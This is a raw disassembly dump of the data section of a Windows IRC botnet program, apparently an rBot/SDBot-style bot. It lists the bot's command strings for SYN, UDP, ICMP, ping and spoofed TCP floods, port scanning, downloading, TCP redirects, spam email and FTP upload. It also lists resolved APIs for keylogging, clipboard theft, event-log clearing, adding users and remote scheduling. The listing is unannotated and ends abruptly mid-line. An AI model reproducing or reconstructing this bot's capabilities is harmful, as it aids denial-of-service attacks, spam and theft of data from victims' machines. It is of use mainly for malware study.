65h db 2 db 3, 2Dh, 20h aFailedToSta_18 db 'Failed to start search thread, error: <%d>.',0 ; char aRename[] aRename db 'rename',0 ; DATA XREF: sub_401CC7+4C4Fo align 4 ; char aMv[] aMv db 'mv',0 ; DATA XREF: sub_401CC7+4C66o align 4 ; char asc_443B9C[] asc_443B9C db '-' ; DATA XREF: sub_401CC7+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h dword_443BC0 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7:loc_4085B7o ; char aIcmpflood[] aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401CC7+4C7Do align 4 ; char aIcmp[] aIcmp db 'icmp',0 ; DATA XREF: sub_401CC7+4C94o align 10h ; char asc_443BE0[] asc_443BE0 db '-' ; DATA XREF: sub_401CC7+683Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 unk_443C0C db 2Dh ; - ; DATA XREF: sub_401CC7+68AFo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToSta_19 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_443C44 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_408580o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 ; char aClone_0[] aClone_0 db 'clone',0 ; DATA XREF: sub_401CC7+4CBDo align 4 ; char aC[] aC: ; DATA XREF: sub_401CC7+4CD4o unicode 0, <c>,0 ; char asc_443C88[] asc_443C88 db '-' ; DATA XREF: sub_401CC7+674Do db 3, 34h, 2 dd 6E6F6C63h, 3027365h aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 dword_443CB8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401CC7+67BCo aFailedToSta_20 db '- Failed to start clone thread, error: <%d>.',0 align 4 ; char aDdos_syn[] aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401CC7+4CEBo align 10h ; char aDdos_ack[] aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401CC7+4D02o align 4 ; char aDdos_random[] aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401CC7+4D19o ; char asc_443D18[] asc_443D18 db '-' ; DATA XREF: sub_401CC7+6665o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_443D48 db 2Dh ; - ; DATA XREF: sub_401CC7+66D4o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToSta_21 db 'Failed to start flood thread, error: <%d>.',0 align 10h ; char aWisdom_udp[] aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401CC7+4D30o align 4 unk_443D8C db 2Dh ; - ; DATA XREF: sub_401CC7+4E07o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_22 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aSynflood[] aSynflood db 'synflood',0 ; DATA XREF: sub_401CC7+4E14o align 4 ; char aSyn[] aSyn db 'syn',0 ; DATA XREF: sub_401CC7+4E2Bo ; char asc_443DDC[] asc_443DDC db '-' ; DATA XREF: sub_401CC7+656Co db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_443E0C db 2Dh ; - ; DATA XREF: sub_401CC7+65DBo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToSta_23 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aSkysyn[] aSkysyn db 'skysyn',0 ; DATA XREF: sub_401CC7+4E42o align 4 ; char asc_443E4C[] asc_443E4C db '-' ; DATA XREF: sub_401CC7+4EC5o db 3, 34h, 2 dd 73796B73h, 3026E79h aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 dword_443E7C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401CC7+4F34o aFailedToSta_24 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aPhatwonk[] aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401CC7+4F41o align 4 ; char aWonk[] aWonk db 'wonk',0 ; DATA XREF: sub_401CC7+4F58o align 4 ; char asc_443ECC[] asc_443ECC db '-' ; DATA XREF: sub_401CC7+6484o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_443F08 db 2Dh ; - ; DATA XREF: sub_401CC7+64F3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToSta_25 db 'Failed to start flood thread, error: <%d>.',0 align 10h ; char aDownload[] aDownload db 'download',0 ; DATA XREF: sub_401CC7+4F6Fo align 4 ; char aDl[] aDl db 'dl',0 ; DATA XREF: sub_401CC7+4F86o align 10h ; char asc_443F50[] asc_443F50 db '-' ; DATA XREF: sub_401CC7+639Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_443F7C db 2Dh ; - ; DATA XREF: sub_401CC7+640Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_26 db 'Failed to start transfer thread, error: <%d>.',0 align 4 ; char aRedirect[] aRedirect db 'redirect',0 ; DATA XREF: sub_401CC7+4F9Do align 4 ; char aRd[] aRd db 'rd',0 ; DATA XREF: sub_401CC7+4FB4o align 4 ; char asc_443FCC[] asc_443FCC db '-' ; DATA XREF: sub_401CC7+625Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_444008 db 2Dh ; - ; DATA XREF: sub_401CC7+62CDo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 ; char aScan_2[] aScan_2 db 'scan',0 ; DATA XREF: sub_401CC7+4FCBo align 4 ; char aSc[] aSc db 'sc',0 ; DATA XREF: sub_401CC7+4FE2o align 4 ; char asc_444058[] asc_444058 db '-' ; DATA XREF: sub_401CC7+6161o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 unk_444094 db 2Dh ; - ; DATA XREF: sub_401CC7+61D0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start scan thread, error: <%d>.',0 align 4 ; char aC_privmsg[] aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401CC7+4FF9o align 4 ; char aC_pm[] aC_pm db 'c_pm',0 ; DATA XREF: sub_401CC7+5010o align 10h ; char aSSS_0[] aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_401CC7+60B5o align 10h ; char aC_action[] aC_action db 'c_action',0 ; DATA XREF: sub_401CC7+5027o align 4 ; char aC_a[] aC_a db 'c_a',0 ; DATA XREF: sub_401CC7+503Eo ; char dword_444100 dword_444100 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC7+5F52o aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_401CC7+5FE0o align 4 ; char aPortscan[] aPortscan db 'portscan',0 ; DATA XREF: sub_401CC7+5064o align 4 ; char aPsc[] aPsc db 'psc',0 ; DATA XREF: sub_401CC7+507Bo ; char asc_44412C[] asc_44412C db '-' ; DATA XREF: sub_401CC7+5E81o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_44417C db 2Dh ; - ; DATA XREF: sub_401CC7+5EF0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_28 db 'Failed to start scan thread, error: <%d>.',0 align 4 ; char aAdvscan[] aAdvscan db 'advscan',0 ; DATA XREF: sub_401CC7+5092o ; char aAsc[] aAsc db 'asc',0 ; DATA XREF: sub_401CC7+50A9o ; char asc_4441C4[] asc_4441C4 db '-' ; DATA XREF: sub_401CC7+5944o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0 align 4 unk_444204 db 2Dh ; - ; DATA XREF: sub_401CC7+5BA8o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_29 db 'Failed to start scan, port is invalid.',0 align 4 unk_444238 db 2Dh ; - ; DATA XREF: sub_401CC7+5C05o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start scan, no IP specified.',0 align 4 aRandom_1 db 'Random',0 ; DATA XREF: sub_401CC7+5D49o align 4 aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401CC7+5D50o align 10h ; char asc_444280[] asc_444280 db '-' ; DATA XREF: sub_401CC7+5D7Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_4442E8 db 2Dh ; - ; DATA XREF: sub_401CC7+5DEAo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_31 db 'Failed to start scan thread, error: <%d>.',0 align 10h ; char aUdpflood[] aUdpflood db 'udpflood',0 ; DATA XREF: sub_401CC7+50C0o align 4 ; char aUdp[] aUdp db 'udp',0 ; DATA XREF: sub_401CC7+50D7o ; char aU[] aU: ; DATA XREF: sub_401CC7+50EEo unicode 0, <u>,0 ; char asc_444334[] asc_444334 db '-' ; DATA XREF: sub_401CC7+587Ao db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 ; char asc_44437C[] asc_44437C db '-' ; DATA XREF: sub_401CC7+58E5o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_32 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char aNetsend[] aNetsend db 'netsend',0 ; DATA XREF: sub_401CC7+5105o ; char aNs[] aNs db 'ns',0 ; DATA XREF: sub_401CC7+511Co align 10h ; char asc_4443C0[] asc_4443C0 db '-' ; DATA XREF: sub_401CC7+56CFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 unk_4443FC db 2Dh ; - ; DATA XREF: sub_401CC7+5771o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 ; char asc_444434[] asc_444434 db '-' ; DATA XREF: sub_401CC7+5795o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_444468 db 2Dh ; - ; DATA XREF: sub_401CC7+57C9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 ; char aPingflood[] aPingflood db 'pingflood',0 ; DATA XREF: sub_401CC7+5133o align 4 ; char aPing_0[] aPing_0 db 'ping',0 ; DATA XREF: sub_401CC7+514Ao align 10h ; char aP[] aP: ; DATA XREF: sub_401CC7+5161o unicode 0, <p>,0 ; char asc_4444B4[] asc_4444B4 db '-' ; DATA XREF: sub_401CC7+562Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_4444FC db 2Dh ; - ; DATA XREF: sub_401CC7+569Do db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_33 db 'Failed to start flood thread, error: <%d>.',0 align 4 ; char aIcmp_dllNotAva[] aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401CC7+56B2o align 4 ; char aVnchost[] aVnchost db 'vnchost',0 ; DATA XREF: sub_401CC7+5178o ; char aVncHttpHostCha[] aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401CC7+5196o align 4 ; char aTcpflood[] aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401CC7+51C0o align 10h ; char aTcp[] aTcp db 'tcp',0 ; DATA XREF: sub_401CC7+51D7o ; char aSyn_0[] aSyn_0 db 'syn',0 ; DATA XREF: sub_401CC7+540Bo ; char aAck[] aAck db 'ack',0 ; DATA XREF: sub_401CC7+5423o ; char aRandom_0[] aRandom_0 db 'random',0 ; DATA XREF: sub_401CC7+543Ao align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401CC7+54E5o aNormal db 'Normal',0 ; DATA XREF: sub_401CC7+54ECo align 4 ; char asc_4445A4[] asc_4445A4 db '-' ; DATA XREF: sub_401CC7+54FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 unk_4445D8 db 2Dh ; - ; DATA XREF: sub_401CC7+5576o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_34 db '- Failed to start flood thread, error: <%d>.',0 align 10h ; char asc_444610[] asc_444610 db '-' ; DATA XREF: sub_401CC7:loc_407247o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_444648 db 2Dh ; - ; DATA XREF: sub_401CC7+544Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 ; char aEmail[] aEmail db 'email',0 ; DATA XREF: sub_401CC7+51EEo align 4 ; char asc_44467C[] asc_44467C: ; DATA XREF: sub_401CC7+5238o unicode 0, < >,0 ; char a__1[] a__1: ; DATA XREF: sub_401CC7+523Do unicode 0, <_>,0 ; char aHeloRndnickMai[] aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401CC7+52D9o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 ; char asc_4446D0[] asc_4446D0 db '-' ; DATA XREF: sub_401CC7+534Do db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 ; char aHttpcon[] aHttpcon db 'httpcon',0 ; DATA XREF: sub_401CC7+539Co ; char aHcon[] aHcon db 'hcon',0 ; DATA XREF: sub_401CC7+53AFo align 4 ; char aUpload[] aUpload db 'upload',0 ; DATA XREF: sub_401CC7+597Ao align 4 ; char asc_44470C[] asc_44470C db '-' ; DATA XREF: sub_401CC7+599Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 ; char aSIII_dll[] aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401CC7+59F6o align 4 ; char Mode[] Mode db 'ab',0 ; DATA XREF: sub_401CC7+5A07o align 10h ; char aOpenSSSSPutSBy[] aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401CC7+5A2Bo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 ; char aSS_2[] aSS_2 db '-s:%s',0 ; DATA XREF: sub_401CC7+5A4Eo align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401CC7+5A65o aOpen_0 db 'open',0 ; DATA XREF: sub_401CC7+5A6Ao align 4 unk_44477C db 2Dh ; - ; DATA XREF: sub_401CC7+5A7Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s',0 align 4 ; char asc_4447A4[] asc_4447A4 db '-' ; DATA XREF: sub_401CC7:loc_40774Ao db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0 align 4 ; char aNotice_3[] aNotice_3 db 'NOTICE',0 ; DATA XREF: sub_409D6C+Fo align 4 aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_409D6C+16o ; char aS_21[] aS_21 db '%s',0 ; DATA XREF: sub_409D6C+3Do align 4 ; char aSSS_1[] aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409D6C+5Do aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409E0C+Ao align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409E0C+23o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409E0C+2Bo align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_409E0C+38o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409E0C+45o align 10h aModule32first db 'Module32First',0 ; DATA XREF: sub_409E0C+52o align 10h aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409E0C+5Fo aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409E0C+6Co aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409E0C+79o align 4 aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409E0C+86o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409E0C+93o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409E0C+A0o align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409E0C:loc_409F14o align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409E0C:loc_409F41o align 10h aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409E0C+14Ao align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409E0C+152o aIswindow db 'IsWindow',0 ; DATA XREF: sub_409E0C+15Fo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409E0C+16Co align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409E0C+179o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409E0C+186o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409E0C+193o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409E0C+1A0o align 4 aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409E0C:loc_40A004o align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409E0C+200o aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409E0C+20Do align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409E0C+21Ao aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409E0C:loc_40A06Bo align 10h aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409E0C+270o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409E0C+278o aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409E0C+285o align 10h aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409E0C+292o align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409E0C+29Fo aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409E0C+2ACo aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409E0C+2B9o align 10h aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409E0C+2C6o align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409E0C:loc_40A11Eo align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409E0C+31Ao align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409E0C+327o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409E0C:loc_40A163o align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409E0C+35Fo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409E0C+36Co align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409E0C+379o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409E0C+386o align 4 aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409E0C+393o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409E0C+3A0o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409E0C+3ADo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409E0C:loc_40A211o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409E0C:loc_40A239o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409E0C+43Eo align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409E0C+446o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409E0C+453o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409E0C+460o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409E0C+46Do align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409E0C+47Ao align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409E0C+487o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409E0C+494o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409E0C+4A1o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409E0C+514o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409E0C+525o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409E0C+52Do align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409E0C+53Ao align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409E0C+547o align 4 aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409E0C+554o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409E0C+561o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409E0C+56Eo align 4 aSocket db 'socket',0 ; DATA XREF: sub_409E0C+57Bo align 4 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409E0C+588o ; .data:00455CBCo aConnect db 'connect',0 ; DATA XREF: sub_409E0C+595o aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409E0C+5A2o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409E0C+5AFo align 10h aHtons db 'htons',0 ; DATA XREF: sub_409E0C+5BCo align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409E0C+5C9o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409E0C+5D6o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409E0C+5E3o align 10h aSend_1 db 'send',0 ; DATA XREF: sub_409E0C+5F0o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409E0C+5FDo align 10h aRecv db 'recv',0 ; DATA XREF: sub_409E0C+60Ao align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409E0C+617o align 4 aBind db 'bind',0 ; DATA XREF: sub_409E0C+629o align 4 aSelect db 'select',0 ; DATA XREF: sub_409E0C+631o align 4 aListen db 'listen',0 ; DATA XREF: sub_409E0C+63Eo align 4 aAccept db 'accept',0 ; DATA XREF: sub_409E0C+64Bo align 4 aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409E0C+658o align 10h aGetsockname db 'getsockname',0 ; DATA XREF: sub_409E0C+665o aGethostname db 'gethostname',0 ; DATA XREF: sub_409E0C+672o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409E0C+67Fo align 4 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409E0C+68Co align 4 aGetpeername db 'getpeername',0 ; DATA XREF: sub_409E0C+699o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409E0C+6A6o aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409E0C:loc_40A5EBo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409E0C+7F0o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409E0C+7F8o aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409E0C+805o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409E0C+812o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409E0C+81Fo align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409E0C+82Co align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409E0C+839o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409E0C+846o align 4 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409E0C+853o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409E0C+860o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409E0C+8D2o align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409E0C:loc_40A70Bo align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409E0C+90Co align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409E0C+914o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409E0C+921o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409E0C:loc_40A76Ao align 4 aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409E0C+96Fo aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409E0C+977o aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409E0C+984o align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409E0C+991o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409E0C+99Eo align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409E0C+9ABo align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409E0C+9B8o align 4 aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409E0C+9C5o align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409E0C+9D2o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409E0C+9DFo align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409E0C+9ECo align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409E0C+9F9o aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409E0C:loc_40A886o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409E0C+A87o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409E0C+A8Fo align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409E0C:loc_40A8D0o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409E0C+AD1o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409E0C+AD9o align 4 aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409E0C:loc_40A91Ao aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409E0C+B1Bo aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409E0C+B23o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409E0C+B30o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409E0C+B3Do align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409E0C:loc_40A98Eo aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409E0C+B8Fo align 4 aShchangenotify 